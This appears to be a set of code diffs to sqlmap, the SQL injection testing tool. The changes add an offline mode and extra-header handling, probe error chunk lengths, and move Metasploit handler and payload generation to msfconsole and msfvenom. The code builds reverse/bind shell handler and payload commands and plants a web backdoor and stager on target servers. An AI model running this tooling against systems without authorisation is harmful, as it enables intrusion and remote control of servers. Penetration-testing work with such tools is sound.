help="Set question answers (e.g. \"quit=N,follow=N\")") help="Set question answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Make a beep sound when SQL injection is found") help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup", miscellaneous.add_option("--cleanup", dest="cleanup",
action="store_true", action="store_true",
@ -712,6 +714,10 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Imitate smartphone through HTTP User-Agent header") help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--offline", dest="offline",
action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--page-rank", dest="pageRank", miscellaneous.add_option("--page-rank", dest="pageRank",
action="store_true", action="store_true",
help="Display page rank (PR) for Google dork results") help="Display page rank (PR) for Google dork results")
@ -799,6 +805,7 @@ def cmdLineParser():
argv = [] argv = []
prompt = False prompt = False
advancedHelp = True advancedHelp = True
extraHeaders = []
for arg in sys.argv: for arg in sys.argv:
argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
@ -854,12 +861,17 @@ def cmdLineParser():
for arg in shlex.split(command): for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex: except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
# Hide non-basic options in basic help case # Hide non-basic options in basic help case
for i in xrange(len(argv)): for i in xrange(len(argv)):
if argv[i] == "-hh": if argv[i] == "-hh":
argv[i] = "-h" argv[i] = "-h"
elif re.search(r"\A-\w=.+", argv[i]):
print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
argv[i] = argv[i][:-1] argv[i] = argv[i][:-1]
conf.skipThreadCheck = True conf.skipThreadCheck = True
@ -888,6 +900,12 @@ def cmdLineParser():
print "\n[!] to see full list of options run with '-hh'" print "\n[!] to see full list of options run with '-hh'"
raise raise
if extraHeaders:
if not args.headers:
args.headers = ""
delimiter = "\\n" if "\\n" in args.headers else "\n"
args.headers += delimiter + delimiter.join(extraHeaders)
# Expand given mnemonic options (e.g. -z "ign,flu,bat") # Expand given mnemonic options (e.g. -z "ign,flu,bat")
for i in xrange(len(argv) - 1): for i in xrange(len(argv) - 1):
if argv[i] == "-z": if argv[i] == "-z":

View File

@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
import codecs
from ConfigParser import MissingSectionHeaderError
from ConfigParser import ParsingError
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import openFile from lib.core.common import openFile
@ -20,7 +15,6 @@ from lib.core.data import logger
from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSyntaxException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import UNICODE_ENCODING
config = None config = None
@ -73,7 +67,7 @@ def configFileParser(configFile):
config = UnicodeRawConfigParser() config = UnicodeRawConfigParser()
config.readfp(configFP) config.readfp(configFP)
except Exception, ex: except Exception, ex:
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex) errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if not config.has_section("Target"): if not config.has_section("Target"):

View File

@ -10,7 +10,6 @@ import os
from xml.etree import ElementTree as et from xml.etree import ElementTree as et
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapInstallationException
@ -89,8 +88,6 @@ def loadPayloads():
for payloadFile in payloadFiles: for payloadFile in payloadFiles:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
#logger.debug("Parsing payloads from file '%s'" % payloadFile)
try: try:
doc = et.parse(payloadFilePath) doc = et.parse(payloadFilePath)
except Exception, ex: except Exception, ex:

View File

@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True):
# Reference: http://philip.html5.org/data/charsets-2.html # Reference: http://philip.html5.org/data/charsets-2.html
if encoding in translate: if encoding in translate:
encoding = translate[encoding] encoding = translate[encoding]
elif encoding in ("null", "{charset}", "*"): elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
return None return None
# Reference: http://www.iana.org/assignments/character-sets # Reference: http://www.iana.org/assignments/character-sets

View File

@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if page: if page:
# In case of an DBMS error page return None # In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
return None return None
# Dynamic content lines to be excluded before comparison # Dynamic content lines to be excluded before comparison
@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
elif ratio > UPPER_RATIO_BOUND: elif ratio > UPPER_RATIO_BOUND:
return True return True
elif ratio < LOWER_RATIO_BOUND:
return False
elif kb.matchRatio is None: elif kb.matchRatio is None:
return None return None

View File

@ -212,7 +212,9 @@ class Connect(object):
elif conf.cpuThrottle: elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle) cpuThrottle(conf.cpuThrottle)
if conf.dummy: if conf.offline:
return None, None, None
elif conf.dummy:
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
@ -372,7 +374,7 @@ class Connect(object):
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
url = unicodeencode(url) url = unicodeencode(url)
post = unicodeencode(post, kb.pageEncoding) post = unicodeencode(post)
if websocket_: if websocket_:
ws = websocket.WebSocket() ws = websocket.WebSocket()
@ -573,7 +575,7 @@ class Connect(object):
debugMsg = "got HTTP error code: %d (%s)" % (code, status) debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg) logger.debug(debugMsg)
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
tbMsg = traceback.format_exc() tbMsg = traceback.format_exc()
if "no host given" in tbMsg: if "no host given" in tbMsg:
@ -820,7 +822,6 @@ class Connect(object):
retVal = paramString retVal = paramString
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString) match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
if match: if match:
origValue = match.group("value")
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
return retVal return retVal
@ -888,11 +889,16 @@ class Connect(object):
if conf.evalCode: if conf.evalCode:
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
variables = {"uri": uri} variables = {"uri": uri, "lastPage": threadData.lastPage}
originals = {} originals = {}
keywords = keyword.kwlist keywords = keyword.kwlist
for item in filter(None, (get, post if not kb.postHint else None)): if not get and PLACE.URI in conf.parameters:
query = urlparse.urlsplit(uri).query or ""
else:
query = None
for item in filter(None, (get, post if not kb.postHint else None, query)):
for part in item.split(delimiter): for part in item.split(delimiter):
if '=' in part: if '=' in part:
name, value = part.split('=', 1) name, value = part.split('=', 1)
@ -955,6 +961,10 @@ class Connect(object):
found = True found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value, post) post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
if re.search(regex, (query or "")):
found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")): if re.search(regex, (cookie or "")):
found = True found = True
@ -1029,6 +1039,7 @@ class Connect(object):
if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False noteResponseTime = False
try:
pushValue(kb.pageCompress) pushValue(kb.pageCompress)
kb.pageCompress = False kb.pageCompress = False
@ -1044,7 +1055,7 @@ class Connect(object):
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
if not pageLength: if not pageLength:
@ -1062,6 +1073,7 @@ class Connect(object):
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
kb.originalCode = kb.originalCode or code kb.originalCode = kb.originalCode or code

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import httplib import httplib
import socket import socket
import sys
import urllib2 import urllib2
from lib.core.data import kb from lib.core.data import kb

View File

@ -391,10 +391,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += ". Falling back to partial UNION technique" warnMsg += ". Falling back to partial UNION technique"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
try:
pushValue(kb.forcePartialUnion) pushValue(kb.forcePartialUnion)
kb.forcePartialUnion = True kb.forcePartialUnion = True
value = _goUnion(query, unpack, dump) value = _goUnion(query, unpack, dump)
found = (value is not None) or (value is None and expectingNone) found = (value is not None) or (value is None and expectingNone)
finally:
kb.forcePartialUnion = popValue() kb.forcePartialUnion = popValue()
else: else:
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
@ -450,7 +452,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.safeCharEncode = False kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' " warnMsg += "a switch '--no-cast' "
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""

View File

@ -24,6 +24,7 @@ from lib.core.common import randomRange
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.enums import DBMS from lib.core.enums import DBMS
@ -61,8 +62,10 @@ class Metasploit:
self.localIP = getLocalIP() self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() or conf.hostname self.remoteIP = getRemoteIP() or conf.hostname
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
if IS_WIN: if IS_WIN:
_ = conf.msfPath _ = conf.msfPath
@ -76,8 +79,10 @@ class Metasploit:
if _ == old: if _ == old:
break break
self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode self._msfEncode = "ruby %s" % self._msfEncode
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
self._msfPayloadsList = { self._msfPayloadsList = {
"windows": { "windows": {
@ -326,6 +331,7 @@ class Metasploit:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def _forgeMsfCliCmd(self, exitfunc="process"): def _forgeMsfCliCmd(self, exitfunc="process"):
if kb.oldMsf:
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " LPORT=%s" % self.portStr
@ -341,10 +347,27 @@ class Metasploit:
self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " DisableCourtesyShell=true"
self._cliCmd += " E" self._cliCmd += " E"
else:
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
self._cliCmd += "; set EXITFUNC %s" % exitfunc
self._cliCmd += "; set LPORT %s" % self.portStr
if self.connectionStr.startswith("bind"):
self._cliCmd += "; set RHOST %s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += "; set LHOST %s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += "; set DisableCourtesyShell true"
self._cliCmd += "; exploit'"
def _forgeMsfCliCmdForSmbrelay(self): def _forgeMsfCliCmdForSmbrelay(self):
self._prepareIngredients(encode=False) self._prepareIngredients(encode=False)
if kb.oldMsf:
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=thread" self._cliCmd += " EXITFUNC=thread"
self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " LPORT=%s" % self.portStr
@ -359,9 +382,29 @@ class Metasploit:
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
self._cliCmd += " E" self._cliCmd += " E"
else:
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
self._cliCmd += "; set EXITFUNC thread"
self._cliCmd += "; set LPORT %s" % self.portStr
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
if self.connectionStr.startswith("bind"):
self._cliCmd += "; set RHOST %s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += "; set LHOST %s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd += "; exploit'"
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) if kb.oldMsf:
self._payloadCmd = self._msfPayload
else:
self._payloadCmd = "%s -p" % self._msfVenom
self._payloadCmd += " %s" % self.payloadConnStr
self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " EXITFUNC=%s" % exitfunc
self._payloadCmd += " LPORT=%s" % self.portStr self._payloadCmd += " LPORT=%s" % self.portStr
@ -373,6 +416,7 @@ class Metasploit:
if Backend.isOs(OS.LINUX) and conf.privEsc: if Backend.isOs(OS.LINUX) and conf.privEsc:
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
if kb.oldMsf:
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
@ -380,6 +424,14 @@ class Metasploit:
self._payloadCmd += " %s" % extra self._payloadCmd += " %s" % extra
else: else:
self._payloadCmd += " X > \"%s\"" % outFile self._payloadCmd += " X > \"%s\"" % outFile
else:
if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
if extra is not None:
self._payloadCmd += " %s" % extra
else:
self._payloadCmd += " -f exe > \"%s\"" % outFile
def _runMsfCliSmbrelay(self): def _runMsfCliSmbrelay(self):
self._forgeMsfCliCmdForSmbrelay() self._forgeMsfCliCmdForSmbrelay()

View File

@ -361,6 +361,9 @@ class UDF:
warnMsg += "<= %d are allowed" % len(udfList) warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg) logger.warn(warnMsg)
if not isinstance(choice, int):
break
cmd = "" cmd = ""
count = 1 count = 1
udfToCall = udfList[choice - 1] udfToCall = udfList[choice - 1]

View File

@ -205,7 +205,6 @@ class Web:
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories: for directory in directories:
if not directory: if not directory:
@ -263,8 +262,8 @@ class Web:
with open(filename, "w+") as f: with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(utf8encode(_)) f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@ -357,6 +356,4 @@ class Web:
infoMsg += self.webBackdoorUrl infoMsg += self.webBackdoorUrl
logger.info(infoMsg) logger.info(infoMsg)
success = True
break break

View File

@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return not result return not result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
""" """
continuousOrder means that distance between each two neighbour's continuousOrder means that distance between each two neighbour's
numerical values is exactly 1 numerical values is exactly 1
@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
kb.originalTimeDelay = conf.timeSec kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0 kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: if retried < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.." errMsg = "invalid character detected. retrying.."
logger.error(errMsg) logger.error(errMsg)
@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
logger.debug(dbgMsg) logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else: else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg) logger.error(errMsg)

View File

@ -35,10 +35,11 @@ from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar from lib.utils.progress import ProgressBar
def _oneShotErrorUse(expression, field=None): def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1 offset = 1
partialValue = None partialValue = None
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None):
threadData.resumed = retVal is not None and not partialValue threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL): if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
chunk_length = MYSQL_ERROR_CHUNK_LENGTH debugMsg = "searching for error chunk length..."
elif Backend.isDbms(DBMS.MSSQL): logger.debug(debugMsg)
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if result and testChar in result:
if result == testChar * current:
kb.errorChunkLength = current
break
else: else:
chunk_length = None current = len(result) - len(kb.chars.stop)
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue: if retVal is None or partialValue:
try: try:
@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None):
if field: if field:
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname) if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField) nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request # Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector vector = kb.injection.data[kb.technique].vector
@ -125,6 +142,7 @@ def _oneShotErrorUse(expression, field=None):
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed: if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected " warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): " warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed) warnMsg += safecharencode(trimmed)
@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None):
else: else:
retVal += output if output else '' retVal += output if output else ''
if output and len(output) >= chunk_length: if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += chunk_length offset += kb.errorChunkLength
else: else:
break break

View File

@ -81,6 +81,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return found return found
try:
pushValue(kb.errorIsNone) pushValue(kb.errorIsNone)
items, ratios = [], [] items, ratios = [], []
kb.errorIsNone = False kb.errorIsNone = False
@ -146,7 +147,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if max_ > upper: if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower): if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0] retVal = maxItem[0]
finally:
kb.errorIsNone = popValue() kb.errorIsNone = popValue()
if retVal: if retVal:

View File

@ -8,14 +8,11 @@ See the file 'doc/COPYING' for copying permission
import logging import logging
import os import os
import shutil
import sqlite3 import sqlite3
import sys import sys
import tempfile import tempfile
import time import time
from subprocess import PIPE
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.convert import base64pickle from lib.core.convert import base64pickle
from lib.core.convert import hexencode from lib.core.convert import hexencode
@ -156,11 +153,12 @@ class Task(object):
def engine_start(self): def engine_start(self):
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)],
shell=False, stdin=PIPE, close_fds=not IS_WIN) shell=False, close_fds=not IS_WIN)
def engine_stop(self): def engine_stop(self):
if self.process: if self.process:
return self.process.terminate() self.process.terminate()
return self.process.wait()
else: else:
return None return None
@ -169,7 +167,8 @@ class Task(object):
def engine_kill(self): def engine_kill(self):
if self.process: if self.process:
return self.process.kill() self.process.kill()
return self.process.wait()
else: else:
return None return None

View File

@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
import codecs
import httplib import httplib
import os import os
import re import re
@ -19,13 +18,11 @@ from lib.core.common import findPageForms
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeCSValue from lib.core.common import safeCSValue
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import UNICODE_ENCODING
